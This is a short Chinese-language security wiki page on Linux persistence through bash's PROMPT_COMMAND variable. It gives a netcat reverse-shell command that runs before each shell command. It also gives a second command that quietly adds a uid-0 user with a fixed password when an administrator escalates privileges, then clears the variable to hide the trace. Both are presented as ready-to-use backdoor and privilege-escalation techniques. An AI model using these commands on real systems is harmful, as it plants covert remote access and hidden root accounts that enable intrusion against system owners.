menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 004-添加root用户 chevron_right 008-PROMPT_COMMAND.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    008-PROMPT_COMMAND.md
    744 B / 2021-07-17 00:01:42
        ## PROMPT_COMMAND
    
    bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。
    
    ```bash
    export PROMPT_COMMAND="nc -e /bin/bash 127.0.0.1 6666 &"
    
    ```
    
    ![](images/security_wiki/15905821097200.png)
    
    
    **提权**
    
    如果当前用户是低权账号,管理员又经常使用su等、但是自己不知道密码。就可以来使用这种方法。利用sudo的权限提升来新建一个uid为0的用户
    
    ```bash
    export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 test2 &>/dev/null && echo test2:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
    
    ```
    
    ![](images/security_wiki/15905821158207.png)
    
    ![](images/security_wiki/15905821206872.png)
    
    
    
    
    links
    file_download